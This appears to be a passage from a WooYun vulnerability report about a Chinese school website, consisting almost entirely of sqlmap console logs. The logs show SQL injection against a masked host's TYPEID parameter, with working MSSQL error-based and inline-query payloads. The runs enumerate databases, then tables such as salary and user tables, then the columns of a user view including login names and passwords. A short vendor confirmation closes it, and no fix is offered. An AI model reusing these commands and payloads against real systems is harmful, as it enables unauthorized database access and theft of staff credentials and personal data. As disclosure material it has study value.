web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:47:20] [INFO] fetching database names
[20:47:20] [INFO] the SQL query used returns 9 entries
[20:47:21] [INFO] retrieved: jxdd
[20:47:22] [INFO] retrieved: jxdd1005
[20:47:22] [INFO] retrieved: jxddtest
[20:47:23] [INFO] retrieved: master
[20:47:24] [INFO] retrieved: model
[20:47:25] [INFO] retrieved: msdb
[20:47:25] [INFO] retrieved: ReportServer
[20:47:26] [INFO] retrieved: ReportServerTempDB
[20:47:26] [INFO] retrieved: tempdb
available databases [9]:
[*] jxdd
[*] jxdd1005
[*] jxddtest
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[20:47:27] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[20:47:27] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:47:27
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:48:48
[20:48:49] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:48:49] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:48:49] [INFO] testing connection to the target URL
[20:48:49] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:48:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:48:50] [INFO] fetching current database
[20:48:51] [INFO] retrieved: jxdd
current database: 'jxdd'
[20:48:51] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[20:48:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:48:51
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --tables -D jxdd
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:06:42
[21:06:42] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[21:06:42] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:06:42] [INFO] testing connection to the target URL
[21:06:43] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[21:06:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:06:44] [INFO] fetching tables for database: jxdd
[21:06:45] [INFO] the SQL query used returns 52 entries
[21:07:21] [INFO] the SQL query used returns 52 entries
[21:07:22] [INFO] retrieved: dbo.IS_Type
[21:07:23] [INFO] retrieved: dbo.Sys_Log
[21:07:24] [INFO] retrieved: dbo.SYS_USERLOG
[21:07:25] [INFO] retrieved: dbo.TE_Activity
[21:07:25] [INFO] retrieved: dbo.TE_Ads
[21:07:26] [INFO] retrieved: dbo.TE_Contact
[21:07:26] [INFO] retrieved: dbo.TE_DateDic
[21:07:27] [INFO] retrieved: dbo.TE_Dept
[21:07:28] [INFO] retrieved: dbo.TE_DeptNewsType
[21:07:29] [INFO] retrieved: dbo.TE_DTJL
[21:07:29] [INFO] retrieved: dbo.TE_LINK
[21:07:30] [INFO] retrieved: dbo.TE_News
[21:07:31] [INFO] retrieved: dbo.TE_Role
[21:07:31] [INFO] retrieved: dbo.TE_RoleMenu
[21:07:32] [INFO] retrieved: dbo.TE_RoleUser
[21:07:33] [INFO] retrieved: dbo.TE_SalaryFL
[21:07:34] [INFO] retrieved: dbo.TE_SalaryGT
[21:07:35] [INFO] retrieved: dbo.TE_SalaryGZ
[21:07:36] [INFO] retrieved: dbo.TE_SalaryJX
[21:07:37] [INFO] retrieved: dbo.TE_SignUp
[21:07:37] [INFO] retrieved: dbo.TE_SignUpTime
[21:07:38] [INFO] retrieved: dbo.TE_SubsitePic
[21:07:39] [INFO] retrieved: dbo.TE_TK
[21:07:40] [INFO] retrieved: dbo.TE_TKLB
[21:07:40] [INFO] retrieved: dbo.TE_User
[21:07:41] [INFO] retrieved: dbo.TE_UserDeptNewsType
[21:07:42] [INFO] retrieved: dbo.TE_VideoNews
[21:07:43] [INFO] retrieved: dbo.View_Contact
[21:07:43] [INFO] retrieved: dbo.View_Dept
[21:07:44] [INFO] retrieved: dbo.View_DeptNewsType
[21:07:45] [INFO] retrieved: dbo.View_DTJL
[21:07:46] [INFO] retrieved: dbo.View_ISType
[21:07:46] [INFO] retrieved: dbo.View_LINK
[21:07:47] [INFO] retrieved: dbo.View_News
[21:07:48] [INFO] retrieved: dbo.View_News_Pic
[21:07:49] [INFO] retrieved: dbo.View_Role
[21:07:49] [INFO] retrieved: dbo.View_RoleUser
[21:07:50] [INFO] retrieved: dbo.View_SalaryFL
[21:07:51] [INFO] retrieved: dbo.View_SalaryGT
[21:07:52] [INFO] retrieved: dbo.View_SalaryGZ
[21:07:52] [INFO] retrieved: dbo.View_SalaryJX
[21:07:53] [INFO] retrieved: dbo.View_Sys_log
[21:07:54] [INFO] retrieved: dbo.View_TE_Activity
[21:07:55] [INFO] retrieved: dbo.View_TE_DateDic
[21:07:55] [INFO] retrieved: dbo.View_TE_NewsAudit
[21:07:56] [INFO] retrieved: dbo.View_TE_SignUp
[21:07:57] [INFO] retrieved: dbo.View_TE_SubsitePic
[21:07:57] [INFO] retrieved: dbo.View_TK
[21:07:58] [INFO] retrieved: dbo.View_TKLB
[21:07:59] [INFO] retrieved: dbo.View_User
[21:07:59] [INFO] retrieved: dbo.View_UserDeptNewsType
[21:08:00] [INFO] retrieved: dbo.View_VideoNews
Database: jxdd
[52 tables]
+-----------------------+
| IS_Type |
| SYS_USERLOG |
| Sys_Log |
| TE_Activity |
| TE_Ads |
| TE_Contact |
| TE_DTJL |
| TE_DateDic |
| TE_Dept |
| TE_DeptNewsType |
| TE_LINK |
| TE_News |
| TE_Role |
| TE_RoleMenu |
| TE_RoleUser |
| TE_SalaryFL |
| TE_SalaryGT |
| TE_SalaryGZ |
| TE_SalaryJX |
| TE_SignUp |
| TE_SignUpTime |
| TE_SubsitePic |
| TE_TK |
| TE_TKLB |
| TE_User |
| TE_UserDeptNewsType |
| TE_VideoNews |
| View_Contact |
| View_DTJL |
| View_Dept |
| View_DeptNewsType |
| View_ISType |
| View_LINK |
| View_News |
| View_News_Pic |
| View_Role |
| View_RoleUser |
| View_SalaryFL |
| View_SalaryGT |
| View_SalaryGZ |
| View_SalaryJX |
| View_Sys_log |
| View_TE_Activity |
| View_TE_DateDic |
| View_TE_NewsAudit |
| View_TE_SignUp |
| View_TE_SubsitePic |
| View_TK |
| View_TKLB |
| View_User |
| View_UserDeptNewsType |
| View_VideoNews |
+-----------------------+
[21:08:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 108 times
[21:08:00] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 21:08:00
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --columns -T View_User -D jxdd
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:08:59
[21:09:00] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[21:09:00] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:09:00] [INFO] testing connection to the target URL
[21:09:00] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[21:09:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:09:01] [INFO] fetching columns for table 'View_User' in database 'jxdd'
[21:09:02] [INFO] the SQL query used returns 39 entries
[21:10:01] [INFO] retrieved: ViewKey
[21:10:02] [INFO] retrieved: UserID
[21:10:03] [INFO] retrieved: LoginName
[21:10:03] [INFO] retrieved: LoginPassword
[21:10:05] [INFO] retrieved: DeptID
[21:10:07] [INFO] retrieved: RealName
[21:10:08] [INFO] retrieved: Sex
[21:10:09] [INFO] retrieved: SexName
[21:10:10] [INFO] retrieved: Birthday
[21:10:11] [INFO] retrieved: Photo
[21:10:12] [INFO] retrieved: Telephone
[21:10:13] [INFO] retrieved: MobilePhone
[21:10:14] [INFO] retrieved: Email
[21:10:14] [INFO] retrieved: QQ
[21:10:15] [INFO] retrieved: MSN
[21:10:16] [INFO] retrieved: FamilyAddress
[21:10:17] [INFO] retrieved: FamilyPostCode
[21:10:17] [INFO] retrieved: FamilyPhone
[21:10:18] [INFO] retrieved: EntryDate
[21:10:19] [INFO] retrieved: LeaveDate
[21:10:20] [INFO] retrieved: Degree
[21:10:21] [INFO] retrieved: Duty
[21:10:22] [INFO] retrieved: JobTitle
[21:10:23] [INFO] retrieved: Quarters
[21:10:24] [INFO] retrieved: WorkStatus
[21:10:24] [INFO] retrieved: ygbh
[21:10:25] [INFO] retrieved: WorkStatusName
[21:10:26] [INFO] retrieved: IndexOrder
[21:10:27] [INFO] retrieved: UserType
[21:10:28] [INFO] retrieved: CreateUserID
[21:10:32] [INFO] retrieved: CreateDate
[21:10:35] [INFO] retrieved: ModifyUserID
[21:10:36] [INFO] retrieved: ModifyDate
[21:10:36] [INFO] retrieved: RecordStatus
[21:10:37] [INFO] retrieved: CreateUserName
[21:10:38] [INFO] retrieved: ModifyUserName
[21:10:38] [INFO] retrieved: ViewText
[21:10:39] [INFO] retrieved: DeptName
[21:10:39] [INFO] retrieved: PDeptName
[21:10:40] [INFO] retrieved:
Database: jxdd
Table: View_User
[39 columns]
+----------------+
| Column |
+----------------+
| Birthday |
| CreateDate |
| CreateUserID |
| CreateUserName |
| Degree |
| DeptID |
| DeptName |
| Duty |
| Email |
| EntryDate |
| FamilyAddress |
| FamilyPhone |
| FamilyPostCode |
| IndexOrder |
| JobTitle |
| LeaveDate |
| LoginName |
| LoginPassword |
| MobilePhone |
| ModifyDate |
| ModifyUserID |
| ModifyUserName |
| MSN |
| PDeptName |
| Photo |
| QQ |
| Quarters |
| RealName |
| RecordStatus |
| Sex |
| SexName |
| Telephone |
| UserID |
| UserType |
| ViewKey |
| ViewText |
| WorkStatus |
| WorkStatusName |
| ygbh |
+----------------+
[21:10:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 121 times
[21:10:40] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 21:10:40
C:\Python27\sqlmap>

修复方案:

i don't know
Happy Chinese valentine's day

版权声明:转载请注明来源 SunnyDoll@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-24 17:25

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给赛尔教育,由其后续协调网站管理单位处置。

最新状态:

暂无